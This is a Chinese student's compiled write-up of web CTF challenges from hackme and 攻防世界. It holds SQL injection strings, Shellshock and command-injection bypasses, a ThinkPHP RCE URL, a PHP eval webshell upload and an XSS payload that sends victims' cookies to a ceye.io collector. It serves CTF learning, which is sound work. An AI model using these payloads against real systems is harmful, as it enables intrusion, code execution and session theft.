结课的时候老师让我们写写平台上的题目,写题目不累,写wp汇总才累orz。
序言
此次实验报告,我选择了任务二。我事先询问过张老师,可以只写web类的题目,但是由于只写一个网站的可能会比较少,所以需要多做一些。因此在这里选了功放世界和hackme的题目。还有一点,看了任务一中的任务分类,我对
其中的部分挺感兴趣,因为DDOS一直都是了解,并未真正下手尝试过,因此也做了部分任务一第六章中的内容。
HACK ME
点击题目进入,按F12查看页面源代码即可找到。
guestbook
题目让我们使用sqlmap,看来就是sql注入了,但是我们不用sqlmap。
但是怎么测试New Post都没发现有XSS或是注入点。本来以为是盲注也测试失败。
切换到MessageList的时候,扫了一眼url突然发现有个可疑的点。在我查询自己提交的POST的时候出现了一个类似这样的东西。
测试一下
发现真正的注入点……
那么开始注入,用联合查询
id=1 union select 1,2,3,table_name from information_schema.tables where table_schema=database() 得表名
1 union select 1,2,3,column_name from information_schema.columns where table_name=”flag” limit 0,1
回显太少感觉不对劲,换一个方式,用group_concat()将回显拼接并回显。
1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="flag"
这还差不多,最后
即为FLAG。
LFI
进入题目随便点点,看到url有明显的LFI
又看到源码中有提示
尝试用php://filter进行包含
B64解码为
那么我们就去读
B64解码为
即可。
homepage
啊又回到了主页,东翻西翻,找不到,但是看到有个cute.js
然后再打开控制台
发现了一个二维码,扫一扫即有flag。
ping
看题目就知道是命令执行,看到一堆blacklist过滤
但是发现他并没有过滤以及$()
那我们就尝试
ls -al
cat flag.php
发现cat和flag都被过滤。
查一查有什么替代指令
Tac:从最后一条开始显示
More:一页一页的显示
Tail:只看末尾几行
nl:显示信息的时候顺序输出行号
随便挑一个吧,选tail,之后flag.php可以用通配符?绕过。
如tail ????.???
scoreboard
这题在之前找的时候就找到的flag
Login as Admin 0 & Login as Admin 0.1
这两题给出了源代码
简要分析之后,确定此题为sql注入,且根据其中的查询语句,我们可以通过user构造如下语句:
SELECT * FROM user
WHERE user
= ’%s’or 1=1(想执行的语句)#’ AND pa
ssword
= ’%s’
#号能将密码处给注释掉,一旦我们想查询的语句为真则会执行并返回回显。
回头过来看代码结构,发现过滤了or 1=1、drop、uodate、delete这些关键字还有一个将
</span>置换为的操作,我们可以用||代替or的功能。
尝试下万能密码绕过,
但是登陆上去并不是admin,
那么我们再尝试联合注入,order by之后发现有四列,再看看回显位。
发现回显位为2而且成功获得了第一个FLAG。发现提示第二个FLAG在数据库中。
那么我们继续操作,知道回显位以后,开始爆库
admin’ union select 1,database(),3,4#
admin’ union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() #爆表
发现隐藏表,
admin’ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = "h1dden_f14g" #爆列
最后admin’ union select 1,the_f14g,3,4 from h1dden_f14g #爆FLAG
即可。
login_as_admin 1 & login_as_admin 1.2
这两题题代码大致与上一题相同,但是union select和空格被过滤了。问题不大,空格可以用//代替,因此union select可以替换成union//select。
那么我们尝试
admin’//union//select/**/1,database(),3,4#
成功获得第一个FLAG,这里又提示FLAG在数据库里。测试一下回显,发现不能直接通过回显来爆库,因为你不管输入什么都会回显相同的输入字符。
猜测可能是盲注并发现
admin’or(ascii(mid((select/**/database()),1,1))>1)#
admin’or(ascii(mid((select/**/database()),1,1))<1)#
明显是盲注,正确的时候可以成功登录,错误的时候显示login failed
贴上脚本
因为估计是台湾的网站,所以请求相应貌似特别慢,脚本也跑的贼慢…
所以结果只贴出一部分(20分钟跑出来的结果,差点以为脚本写错了)
一个小时之后的
实在是太久了,就这样附上半条flag…
login_as_admin 3
源代码
分析源代码,看到在name和password匹配处用了===,那么在弱类型比较中,0==几乎可以绕过任何判断。又发现json_decode的参与,以及sha512。
那么我们先以guest登录来查看下cookie
尝试解密cookie,先写解密代码
得到cookie明文的值,修改之后再加密。这里踩了个坑,因为sig:“0”传入的0为字符型,这个时候无法达到弱类型匹
配的效果,因此必须用sig:0,并且解码出来的data[1]为真值才可进行绕过
修改cookie并保
保存之后改用GET方式请求URL
即可获得FLAG
login as admin 4
分析下源代码
很简短,如果POST的name值为admin则开始匹配password是否等于$password,不等于就再跳转
,意味着我们可以进行抓包来获取跳转之前的界面。抓取https我们用curl。
在底下找到了flag。
login as admin 6
分析源代码
它需要我们POST一个data,data用json解码之后满足一个结构条件:users中的<span lang=EN
-US>username=1,而且users的username与password不相等。但是这样写的话最终会使$user=$username=1没有意
义,我们可以需要通过条件并将user赋值为admin才有意义。我们可以调整为再data域内{$user=$username=>$admin=1
,且password=1},我们写个PHP的data结构并编码。
POST出来的json_encode结果
即可得到FLAG。
login as admin 7
分析源代码
我们知道POST的name要等于admin,且密码中的password的MD5值要==</spa
n>‘00000……00000’
这里还是弱类型匹配,利用0exxxxx=0来进行绕过。可以写个脚本来进行MD5碰撞或者在线搜一搜(偷懒)
随便找个password=s878926199a,提交payload:name=admin&password=s878926199a
即可获得FLAG。
login as admin 8 & login as admin 8.1
分析源代码
没啥意义……有个session
那我们看看cookie
发现了login8sha512和login8cookie这两个参数还有他们的sha512的值,但是这次他没给我们加密代码,放到网站上去解密,解密不能,要猜。
打开python试试
加密值为hex形式,需要10转16,而且其中包含了序列化private以及protected类产生的%00,我们不能直接将字符串放进函数中,需要先将其显示出来再放入函数加密,此处我们可以用unquote对其进行转码,但是需要先进行url编码
于是先将
变为
O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A0%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A9%3A%22index.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A2%3A
%7Bs%3A8%3A%22password%22%3Bs%3A5%3A%22guest%22%3Bs%3A5%3A%22admin%22%3Bb%3A0%3B%7Ds%3A4%3A%22user%22%3Bs%3A5%3A%22guest%22%3Bs%3A4%3A%22pass%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A0%3B
%7D
再通过脚本加密,先从不加盐开始
对比一下cookie中的sha512值,发现结果一致,说明sha512无盐加密,而且只加密了一部分值。
接下来就简单了
修改cookie中的is_admin的值为1并计算出其sha512的值
保存并改为GET提交
即可获得第一个FLAG。
我们查看cookie的时候还发现了debug参数,我们用初始cookie修改一下,点击logout会建立新sessio
n并保存,以此获得初始cookie。
修改debug为1
提交,但是回显了登陆之前的页面。…?
不知道什么问题,于是开始逐个修改cookie中的参数进行测试,最后修改到index.php的时候有了结果。
将index.php改为config.php,然后修改其长度,要符合序列化的规则。
还发现代码里面有debug的触发条件GET /?debug=1,点击提交,查看到源代码以及FLAG
dafuq-manager 1 & 2 & 3
这三题都是连起来的,统一写wp了。
以guest登录发现好多提示,先点开
发现第一个提示
再看cookie发现了一个show_hidden参数被置no了。我们照提示改一改。
提交后发现
找到了第一题的flag以及第二题的提示。
要以admin登录,才可获取第二个flag。
继续查看还有什么文件,发现了源代码包,下载下来。开始了漫长的代码审计。
看了看.config发现登陆时获取的信息来自于.htusers.php,然后与我们提交的用户名和密码进行比对,如果用户名存在、密码相等且存放的$GLOBALS["users"][$i][7]为1,就登录成功。因为数据存储在文件里,所以我们就无法进行SQL注入,虽然密码相等判断用的是==,但是由于密码会进行MD5加密的原因,也无法绕过,所以思路还是去到拿到.htusers文件上去。
首先是下载,发现了许多功能,在core里,于是我们跟进core去找fun。追踪到fun_down.php,发现st
ristr($abs_item, ‘.php’),那想要下载,htusers.php基本是没戏了。然后是读取,搜索file_get_content,include,require等函数,其中readfile
函数在fun_down.php里面无法使用,而f可读的open函数在lib_zip.php和fun_edit中
有,但是在lib_zip.php中的那个没有输出所读取到的数据,而fun_edit.php中的edit_file方法,这里会将读取的数据输出。
我们guest用户的permissions为1,因此第一个判断可以绕过。
然后是get_show_item,
第一个if可以将cookie中的show_hidden改为yes绕过,
第三个if的$GLOBALS["show_hidden"]在.htusers中可以看到,为0,所以dir中不
能含有/.,不过item就没有这个限制了,我们可以将../../这些写在item里来绕过。
我们可以构造?action=edit&item=../../.config/.htusers.php&dir=然后修改cookie的hidden值来进行文件读取。
读到文件,口令需要解密。
明文值为how do you turn this on,解密居然要钱…
看到flag2以及flag3的提示
我们看到了有个后门,翻翻代码,在fun_debug处看到了cmd参数可用,但是有过滤和加密。
首先secret_key在之前翻代码的时候已经看到了,还以为是密码,没想到在这里用了。
根据make_command的构造逻辑,我们可以直接尝试进行命令构造,首先过滤操作我们可以用变量拼接的方法来绕过,剩下的过程我们可以直接copy源码的方法来使用。代码如下
:
先给命令b64编码
构造
?action=debug&dir[]=&command=JGE9J2Fzcyc7JGI9J2VydCc7JGM9JGEuJGI7JGMoYmFzZTY0X2RlY29kZSgnYzNsemRHVnRLQ2RzY3lBdFlXd25LUT09JykpOw==.d0fb393901cf461c132fd32e0f818d5aa3833d3a9732f35
df70204f3e027328f
看到flag3,读取的时候发现没有权限?还在当前目录看到了meow文件,百度了一下发现好像没什么用,但是查看大佬的wp发现这东西可以读文件,
那我们构造如下:
提交即可看到flag
webshell
打开网页一片空白,F12发现一堆奇怪的东西
搜索了一下发现是gzinflate加上base64编码以及rot13的加密,解一下密,可以看到如下:
给了源代码,看了一下发现逻辑很简单,只要绕过
即可执行命令,要用到vps,在vps上放个对应的如下类似的php代码即可。
发送payload,看到有两个flag?
最后发现.htflag才是正确的flag。
command-executor
这题涉及到一个漏洞,我反正是完全的不懂…上网看了wp之后才知道。叫做破壳漏洞。
首先有个文件包含漏洞,php://filter/read/base64-encode/resource=index读一下文件
有waf,而且读不到flag,但是有个没见过的函数,putenv
。
这个函数有个漏洞,利用方法如上。
我们按照其方法,在HTTP头中加入() { : ; }; echo kt
但是waf中貌似过滤这些符号,我们可以用空格进行绕过,对flag的过滤可以用通配符?绕过。
用wget –header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
发现可以执行指令,我们可以读文件,尝试ls但是发现不行。
看看网站,又发现Lists files处可以遍历目录,修改路径可以看到
Flag只有root能读,但是有个flag-reader,看看他的C文件。
看了一下,随机产生16个数字,然后再输入回去,就会把flag写进文件中,但是注意到有个alarm,要求这个过程小于一秒。
这种类类似猜数的游戏,人肯定玩不过电脑,我们肯定得用脚本或者命令行,我们可以采用文件达成目标。
构造如下:
wget –header="X-Exploit: () { : ; }; /?lag-reader /?lag > /kt < /kt " -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
发现没反应,看了看文件发现没有权限,但是tmp可以w
那我们在/var/tmp下进行操作
wget –header="X-Exploit: () { : ; }; /?lag-reader /?lag > /var/tmp/kt < /var/tmp/kt " -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=
env"
再读一下
wget –header="X-Exploit: () { : ; };/bin/cat /var/tmp/kt" -q -O - "https://command-executor.hackme.inndy.tw/index.ph
p?func=cmd&cmd=env
即可获得flag。
XSSME
我怀疑服务器炸了,打cookie打了半天总是显示undefined,我怀疑真的是服务器的问题。
不管了,思路大致如下:
首先测试waf,发现有较为细致的过滤,像是script、)、<img >之类的过滤,但是带空格,因此我们可以不输入空格来绕过部分过滤,<svg/onload >或者不加空格的<img sc””onerror=””>也可以绕过,那么我们尝试根据题目去构造payload打管理员的cookie。发到ceye尝试
例如:
<img src=""onerror="document.location=’http://qa3vfv.ceye.io/?cookie='+document.cookie"">
或者
<svg/onload=" document.location=’http:// qa3vfv.ceye.io/?cookie=’+document.cookie ">都可以,但是收到的数据是undefined?
但是我打自己的cookie又有回显
奇了怪了。Orz
攻防世界
baby_web
打开题目看到1.php,估计是让我猜数字吧,写个小脚本爆破发现爆破不出来。
测试index发现还是回到了1.php,可能有重定向,F12请求index看看,发现了
访问即可。
CAT
题目起了个cat,估计是命令行读文件,同时发现是GET传参,于是测试waf,结果测到宽字节(%80)的时候报错回显了一
大堆HTML代码,发现python路径,以及django
题目构成应该是有django来处理PHP请求。
我们可以用@+绝对路径来查看文件。发现@没被过滤,看看返回的信息,发现了数据库
@ /opt/api/database.sqlite3有回显找找宝贝
真难找。
ics-04
有登录和注册界面,但是没什么用,还剩下一个密码找回。测测sql
字符注入,测测列数
之后就可以按照基本注入步骤进行注入了,回显在3列
1’ union select 1,2,group_concat(database()),4 #页面有响应但是无回显,得换种方式,用group_concat()
1’ union select 1,2,group_concat(schema_name),4 from information_schema.schemata #页面回显
因此按照步骤下去,构造
1’ union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=’cetc004’ #
分别探测username与password
1’ union select 1,2,group_concat(username,‘‘password,question,answer),4 from cetc004.user#
额这样太乱了,变成这样
1’ union select 1,2,group_concat(username,’,’,password),4 from cetc004.user#
得到口令和用户名,但是无法解密
试试直接新注册覆盖一个用户名,居然直接成功了,密码替换成了123
登陆试试
ics-05
打开题目,什么都没有,随便点了点发现了
看可能是文件包含,试试php伪协议
[http://111.198.29.45:52025/index.php?page=php://filter/convert.base64-encode/resource=index.php](http://111.198.29.45:52025/index.php?page=php://filter/convert.base64-encode/resource=i
ndex.php)
成功读到文件
解密看到了一个重点关注的地方
我们需要将X-FORWARED-FOR设置为localhost,再以get方式传递三个参数,这三个参数分别是preg_replace的三个参数
那么我们可以如下构造命令
成功执行命令
改命令探测目录
最后
ics-06
题目描述的看起来好像有后门,但是看起来好像不是
送分?
看到这个我懂了
试着bp爆破页面,还真的爆出来了,id=2333去访问
lottery
之前貌似写过这题,记得是代码审计,不记得在哪了,算了不管了重新来。
但是服务器貌似炸了,佛了,之前的wp补上。
.git源码泄露,但是这题直接给你了。
大概是随机七个数全猜对就给你钱,但是没有对输入作比较,可以用php弱类型绕过判断,因为true==1==“1”我记得要多跑几次,然后钱才够。
其中 $numbers 来自用户json输入{"action":"buy","numbers":"1234123"},$win_numbers 是随机生成
的数字字符串。
用burp抓个包,然后改下payload为{"action":"buy","numbers":[true,true,true,true,true,true,true]}
钱够了就可以getflag了。
NewsCenter
一打开题目看到这个搜索框,忍不住测了测sql
还真有
测测列数
1’ union select 1,2,group_concat(schema_name) from information_schema.schemata #
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’news’ #
1’ union select
1,2,group_concat(column_name) from information_schema.columns where table_name=’secret_table’ #
1’ union select 1,2,group_concat(fl4g) from secret_table #
mfw
打开看到这个
估计有泄露,试试
翻了翻好像没什么能用的,用Githack找一下源码,看到了一个index.php
这个参数拼接很好利用,assert(“strpos(‘templates/“ . $page . “.php’, ‘..’) === false”) or die(“Detected hacking attempt!”);先闭合strpos,在注释掉后边的代码
如下构造:?page=kt’.’kt’) or system(‘cat templates/flag.php’);//
Training-WWW-Robots
Robots呗,还能有啥
探测robots.txt
访问一下
这也太水了吧……
NaNNaNNaNNaN-Batman
这题没有环境?
这乱码还能看得出丝毫的script痕迹,eval改成alert
打开我的phpstorm,整理一下代码
1 | function $(){ |
这匹配看的头疼,想爆破来着,但不知道怎么下手,orz
后来想想干脆执行一下算了
放控制台执行一下,新firefox执行换成了ctrl+enter了,我按了半天都没反应2333
bug
看到题目总想测测注入,发现都没反应。
注册的时候发现admin已经存在,无法覆盖,题目变成了获取admin权限了
web2
这题目起个web2和web关系并不大,按照密码顺序倒过来写就行了。
写个php脚本
php2
这题有毒,一定要扫,扫到了一个phps…
Id=urlencode(id)且id==admin,且“admin“!===id,可以用二次url编码,类似%253e==<
那么尝试构造a=%2561,id=%2561dmin
记得请求的时候在index.php请求
unserialize3
这题打开了就是一个简单的反序列化
照着写一个序列化
发送一下
将对象个数修改成大于实际对象个数的数值,出发反序列化漏洞
即可
upload1
打开发现一个文件上传界面,F12看到了js脚本
是一个过滤
又看到有一个check
删掉直接上传文件
成功,找找flag
web_php_include
打开题目看到这个
发现对php://进行了过滤,但是这个过滤不严谨,出现了常见的大小写的问题。
Php://可以绕过
尝试Php://filter/read=convert.base64-encode/resource=index.php;读了个寂寞,得先探测目录,用input
成功读取
这是可以直接该input中的命令,也可以直接用filter来读,我选择修改命令
成功
ics-07
有源代码,去瞅瞅
上面这是个上传,有过滤,而且上传成功之后是新建之后重新建立一个文件并写入。但最上面有一个问题,session中的admi
n要为true,需要管理员权限
这里是获取管理员权限的页面,其他的都是正常sql查询,最上面的if大概是需要id是数组而且id经过floatval的值不为1,id的最后一位数也要是9,id最后的查询值必须相当于1才有获取admin的可能。因为是floatval处是弱类型比较,我们可以构造1‘ 9来绕过
接下来是上传,需要绕过正则,filename的.后面的不区分大小写过滤了php34567之类的,但是他只过滤了一个.后面的
东西,并没有循环进行正则匹配,而且上传之后的真实目录为uploaded,因此我们可以尝试构造
?file=../kt.php/1.php/..&con=<?php @eval($_GET[‘a’]);?>
POST上传试试看,然后访问/uploaded/kt.php?a=1,有反应
开始执行命令
直接上最后一步
Web_php_unserialize
打开题目看到这个
赤裸裸的反序列化,$var是利用点,提示了fl4g.php,正则过滤了O:数字的形式,那我们可以构造o:+数字的形式绕过
如下:
拿出O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}修改一下变为O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}还要base64一下
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
提交试试
i-got-id-200
打开界面,点击helloworld发现了一个Perl?好眼熟那么这个网站的构成文件都是pl结尾,file里有文件上传,看看perl语言的漏洞里有个上传文件的param()
漏洞param()函数会返回 一个列表的文件 但是 只有第一个文件会被放入到下面的file变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。我们可以抓个包,加入ARGV,然后在URL处传入命令可以读文件,我随便试了试flag结果真的就出来了,2333
php-rce
打开一看,哇又是这个thinkphp,自带命令执行漏洞的轻量级框架找现成的payload,百度一下
随手试一试[http://111.198.29.45:45426/index.php?s=index/thinkpp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name “flag”](http://111.198.29.
45:45426/index.php?s=index/thinkpp/invokefunction&function=call_user_func_array&vars%5b0%5d=system&vars%5b1%5d%5b%5d=find%20/%20-name%20)[http://111.198.29.45:45426/index.php?s=index/thinkpp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag](http://111.198.29.45:45426/index
.php?s=index/thinkpp/invokefunction&function=call_user_func_array&vars%5b0%5d=system&vars%5b1%5d%5b%5d=cat)
ics-02
打开到一个下载paper的,下下来看到PDF头,改个后缀看到内容试SSRF,提示就是SSRF了,PDF
里面也没有什么奇怪的地方。但是这个页面面什么都没有,扫一下目录,有大发现调试文件不允许访问,显示ip不允许那我们看看另一个,发现一个感觉可以注入的页面传注入都是something wrong,看来得利用debug文件,在下载pdf的时候发现他下载的模式是向download.php进行传参,我们可以利用ssrf来向debug文件进行参数传递我们尝试构造[http://111.198.29.45:36488/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s=3%26txtfirst_name=1234%26txtmiddle_name=1234%26
txtname_suffix=asdf%26txtLast_name=asdf%26txtdob=12%27%26txtdl_nmbr=3%26txtRetypeDL=3%26a=3](http://111.198.29.45:36488/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s=3%26txtfirst_name=1234%
26txtmiddle_name=1234%26txtname_suffix=asdf%26txtLast_name=asdf%26txtdob=12%27%26txtdl_nmbr=3%26txtRetypeDL=3%26a=3)在first_name处可以进行注入,写个脚本
结果如下flag{cpg9ssnu_OOOOe333eetc_2018}
blgdel
打开题目,看到又是买东西,扫一下目录有代码还有个sql.txt
列表信息都给的差不多了看看之前的代码,发现还有东西,有个upload,上传的地方有替换操作,还有用户页面注册登录一下,发现上传点,但是显示我分数不够?这设计无语了2333,得多得分了看来我以为要窃取admin的cookie,看了wp说推荐人可以加分那注册10个达到100积分进入上传界面上传一个马,但是发现访问没反应,wp里说代码会被替换,得用.htaccess大多数协议被过滤了,只能分析代码中的master协议先执行_construct在进行stream_open等流操作,可以通过构造这个master协议来搜索文件,包含成功的话,这个文件的内容会映射到相应文件里面/需要编码再传入尝试构造php_value auto_append_file master://search/path=%2fhome%2f&name=flag
可以得到再次构造php_value auto_append_file /home/hiahiahia_flag
即可。